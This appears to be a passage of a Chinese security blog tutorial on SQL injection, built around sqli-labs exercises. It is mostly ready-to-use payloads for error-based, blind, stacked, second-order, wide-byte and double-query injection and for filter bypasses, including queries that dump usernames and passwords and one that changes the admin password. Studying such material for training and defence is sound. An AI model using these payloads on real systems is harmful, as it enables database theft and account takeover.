最新【Web安全】SQL各类注入与绕过(2)

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

  • 获取列名:
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) --+

  • 获取数据
?id=1' and updatexml(1,concat('~',substr((select group_concat(username,0x3a,password) from users),1,100)),3) --+

其中concat()函数为连接函数,连接波浪号和查询信息,波浪号常常使用0x7e代替,substr为截取函数,因为报错信息最多32位,或者使用limit分页函数。

6. 堆叠注入

堆叠注入的原理是利用了SQL查询语句中分号(;)的特性以及数据库执行多条SQL语句的能力。攻击者可以在注入点插入一个分号,然后在分号后面添加额外的SQL语句,使得数据库在执行查询时,会依次执行多条SQL语句。

以下是一个堆叠注入的简单例子,假设有一个登录页面,用户可以输入用户名和密码登录:

SELECT * FROM users WHERE username='$username' AND password='$password'

攻击者可以尝试在用户名和密码字段中进行注入,假设用户名字段存在注入漏洞。攻击者可以输入以下内容作为用户名:

' OR 1=1; INSERT INTO log (event) VALUES ('Successful login');

这个输入将会导致以下SQL语句被执行:

SELECT * FROM users WHERE username='' OR 1=1; INSERT INTO log (event) VALUES ('Successful login') AND password='$password'

这里的分号后面的部分是一个额外的SQL语句,它会被数据库执行,插入一条日志记录,表示成功登录,同时也可以修改别人的密码等操作,反正啥都行。

7. 布尔盲注与时间盲注

布尔盲注是一种利用布尔逻辑(即真和假)来推断数据库中数据的SQL注入技术。它通常用于无法直接获取数据的情况下,但可以通过不同的查询结果来推断出数据的存在与否,以及数据的属性。布尔盲注通过在SQL查询中插入条件语句来测试特定条件的真假,从而逐步推断出数据库中的信息。在进行练习时候,如果一个界面只有成功显示不成功显示、登录成功失败,没有报错没有回显时考虑,并且使用时候搭配burpsuite的intruder模块根据返回内容长度判断。

  • 攻击者通过注入点插入条件语句,例如:?id=1’) and if(substr(database(),1,1)=‘c’,1,0) – #
  • 根据返回结果(真或假),攻击者可以推断出密码的第一个字符是否为 ‘c’。如果返回真,表示密码的第一个字符是 ‘c’;如果返回假,表示密码的第一个字符不是 ‘c’。
  • 通过不断更改条件语句中的参数,并观察返回结果,攻击者可以逐个字符地推断出密码的值。

爆表名:

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+


时间盲注是一种根据访问时间来推断数据库中数据的注入技术,它通常用于无法直接获取数据的情况下,并且无论参数对还是错界面都是一样的页面。比如说sqli-labs-master第九关:无论参数是否正确都显示You are in…,所以使用时间盲注。

常用的函数就是if(),第一个参数就是表达式,第二个第三个参数就是要执行的语句,如果表达式正确如下就会执行sleep(2),而sleep()是延时函数,单位是秒。

?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(2),1) --+

8. 以上内容常用函数

substr(str,start,length)截取函数
第一个参数str为被截取的字符串,第二个参数start为开始截取的位置,第三个参数length为截取的长度。

left(str,length)截取函数,从左到右
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。

right(str,legnth)截取函数,从右到左
第一个参数str为被截取的字符串。
第二个参数length为截取的长度。

ascii(char)转化为十进制的ascii码

length(str)返回长度

ord(char)ascii转换函数

if(cond,ture_result,False_result)比较函数
第一个表达式正确返回第二个,错误则返回第三个

9. HTTP头部注入

请求头含义和作用示例
Accept告知服务器客户端能够接受的响应内容类型。Accept: text/html, application/json
Accept-Language告知服务器客户端可接受的语言类型。Accept-Language: en-US, zh-CN;q=0.9
Accept-Encoding告知服务器客户端可接受的内容编码方式,用于数据压缩传输。Accept-Encoding: gzip, deflate
Host指定请求的目标服务器的域名或IP地址和端口号。Host: www.example.com:8080
Cookie在HTTP请求中携带存储在客户端的Cookie信息,用于会话状态保持。例如,输入用户名和密码登录一个网站后,每次刷新和请求该站点其他页面,都会保持登录状态,这就是Cookie的功劳。Cookie: session_id=123456; user_id=987654
Referer表示当前请求的来源页面的URL,用于跟踪和统计。Referer: https://www.example.com/page1
User-Agent标识客户端应用程序或浏览器的信息,帮助服务器优化响应。User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type指定请求体中的数据类型,用于POST请求等需要传递数据的请求。Content-Type的设置对于数据的正确解析和处理非常重要。例如,如果服务器期望接收JSON数据,而客户端却发送了普通文本数据,服务器可能无法正确解析数据。Content-Type: application/json; charset=utf-8

大部分请求头都有可能存在注入,因为后端代码也会根据请求头查询数据。样例见,sqli-labs-master第18、19、20、21、22。

10. 二次注入

二次注入也称为存储型注入,就是将可能触发sql注入的字符存在数据库中,当再次调用这个恶意构造的字符就可以触发二次注入。

这里以sqli-labs-master第24关为例子。

  • 代码一:实现了简单的用户注册功能,程序获取到GET参数username和参数password,然后将username和password拼接到SQL语句,使用insert语句插入数据库中。由于参数username使用addslashes进行转义(转义了单引号,导致单引号无法闭合),参数password进行了MD5哈希,所以此处不存在SQL注入漏洞。正常插入test’之后,数据库就有了test’这个用户。
  • 当访问username=test’&password=123456时,执行的SQL语句为:
insert into users(\`username\`,\`password\`)values ('test\'','e10adc3949ba59abbe56e057f20f883e')。

<?php
$con=mysqli\_connect("localhost", "root", "root", "sql");

if (mysqli\_connect\_errno()) {
   echo "数据库连接错误: " . mysqli\_connect\_error();
}
$username = $\_GET['username'];
$password = $\_GET['password'];
$result = mysqli\_query($con, "insert into users(`username`, `password`) values ('".addslashes($username)."','".md5($password)."')");
echo "新 id 为: " . mysqli\_insert\_id($con);
?>

  • 代码二:在二次注入中,第二段中的代码如下所示,首先将GET参数ID转成int类型(防止拼接到SQL语句时,存在SQL注入漏洞),然后到users表中获取ID对应的username,接着到person表中查询username对应的数据。但是此处没有对$username进行转义,在第一步中我们注册的用户名是test’,此时执行的SQL语句为:
select * from person where `username`='test''

单引号被带入SQL语句中,由于多了一个单引号,所以页面会报错。

回到24题发现有很多代码。

  • 分析login.php代码发现对于username和password使用了mysql_real_escape_string函数,这个函数会对单引号(')、双引号(")、反斜杠(\)、NULL 字符等加添反斜杠来进行转义,所以在登录界面框无法直接下手。
$username = mysql\_real\_escape\_string($\_POST["login\_user"]);
$password = mysql\_real\_escape\_string($\_POST["login\_password"]);

  • 接着分析创建新用户的代码,在new_user.php中有form表单提交到login_create.php中,所以重点还是login_create.php,发现还是存在转义:
$username=  mysql\_escape\_string($\_POST['username']) ;
$pass= mysql\_escape\_string($\_POST['password']);
$re\_pass= mysql\_escape\_string($\_POST['re\_password']);

$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

  • 那就登录进去看一下,登录进去是一个修改密码的框,其中不需要填写账号密码,看一下代码:
$username= $\_SESSION["username"];
$curr\_pass= mysql\_real\_escape\_string($\_POST['current\_password']);
$pass= mysql\_real\_escape\_string($\_POST['password']);
$re\_pass= mysql\_real\_escape\_string($\_POST['re\_password']);

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr\_pass' ";

可以发现漏洞存在于此处,这一道题不是获取数据库而是获取admin的密码,所以我们可以构造一个admin’#的账号,虽然在注册部分单引号会被转义但数据库中并不会存在这个反斜杠,注册账号admin’#密码随便,于是就可以登录进去,然后再修改密码,其中的sql语句为:

$sql = "UPDATE users SET PASSWORD='你想要的密码' where username='admin'#' and password='$curr\_pass' ";

于是修改admin账号不需要原始密码。

11. 宽字节注入

宽字节注入指的是mysql数据库在使用GBK编码时(一般账号啥的能输入或显示中文的就是了),会认为两个字符是一个汉字,而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码会认为%df%5c是一个宽字节,也就是"運’,从而使单引号闭合(逃逸),进行注入攻击

这里以sqli-labs-master第三十二关为例:

function check\_addslashes($string)
{
    $string = preg\_replace('/'. preg\_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg\_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg\_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
    return $string;
}

function strToHex($string)
{
    $hex='';
    for ($i=0; $i < strlen($string); $i++)
    {
        $hex .= dechex(ord($string[$i]));
    }
    return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";

对于第一段代码,单引号、双引号和反斜杠都加上了一个反斜杠,我们试一下输入中文:

在这里插入图片描述
输入中文发现回显的是中文为gbk编码,所以我们可以使用宽字节注入,原理就是%df和反斜杠可以组成一个中文字符

?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

在这里插入图片描述

12. 双查询注入(报错注入一种)

首先这适合其他报错函数都过滤了但有报错信息,而且没有回显位的,比较少见所以这里给出链接。

【Double SQL Injection(双查询注入) | Mochazz’s blog】

这里以sqli-labs-master第五关为例子。

首先这对于初学来说这个报错注入会比较难理解,我们先判断闭合方式:

?id=1' and '1'='1
?id=1' and '1'='2

通过上述语句可以知道这是单引号闭合,接下来判断注入类型,这里先试一下Union注入:

?id=1' order by 3 --+
?id=1' order by 4 --+

通过上述语句可以得到字段数为3,接下来判断回显位:

?id=1' and '1'='2' union select 1,2,3--+

通过这一段payload,发现并没有回显位,所以Union注入不可行,所以回到报错注入。

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+

通过上述语句得到的结果为 XPATH syntax error: ‘~emails,referers,uagents,users’,之后过程省略。但是这一关的考点为报错注入中的双查询注入,我们假设updatexml()被过滤了,我们要使用双查询注入,关于双查询注入的文章【Double SQL Injection(双查询注入) | Mochazz’s blog】

?id=1' union select 1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到Duplicate entry ‘:emails,referers,uagents,users:0’ for key ‘’,接着获取users的字段名

?id=1' union select 1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x3a,floor(rand(14)*2)) as a,count(*) from information_schema.columns group by a --+

通过上述语句得到 **Duplicate entry ‘:id,username,password:0’ for key ‘’**接着获取username和password:

?id=1' union select 1,concat(0x3a,(select concat(username,0x3a,password) from users limit 0,1),0x3a,floor(rand()*2)) as a,count(*) from information_schema.columns group by a --+

13. SQL注入过滤与绕过

13.1. 双写绕过、大小写绕过

对于sqli-Less25关有对于and和or大小写不敏感的过滤,这里的i表示大小写不敏感:

$id= preg\_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg\_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)

我们可以使用双写绕过,对于其他select过滤等也可试一试:

oorr
anandd
selSElectect

SElect

13.2. 内联注释绕过
SEL/**/ECT。在SELECT中间加入内联注释,可能绕过对SELECT关键词的检查

注意是可能!像sqli 26关就有对内联注释的过滤

13.3. 逻辑符号绕过

对于and、or、xor、not的黑名单绕过,可以使用逻辑符号,最好使用||

or = ||
and = &&
xor = | 或者 ^
not = !

注:有些题使用&&不行,使用||却可以,不知道为啥。

13.4. 绕过空格过滤
/**/

() 例如:?id=1' || updatexml(1, concat(0x7e, (SELECT (group_concat(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema=database()))) ,1) || '1'='1

//下面编码貌似在windows phpstudy环境下无效
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空

`(tap键上面的按钮)

+ 加号

两个空格

注:1’%0aanandd%0a’1’=2 不可以验证%0a有用,这里有没有都可以。

13.5. 引号添加反斜杠过滤绕过
%df宽字节注入

CHAR()函数,例如:table_schema=CHAR(115, 101, 99, 117, 114, 105, 116, 121)  最常用

转化成Hex编码:table_schema=0x7365637572697479  (security)注意不用转引号

常见的php过滤函数mysql_real_escape_string、addslashes()

13.6. 大于小于号过滤绕过

大于小于号常见在盲注,可以使用between左闭右开,in关键字,greatest函数和least函数返回最值

where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
where id=1 and substr(database(),1,1) in ('c');
where id=1 and substr(database(),1,1) between 'a' and 'd';

13.7. 等号过滤绕过

如果等号被过滤,可以使用:

>0 and <2 等价于 =1
<>等价于!
like

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 18
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值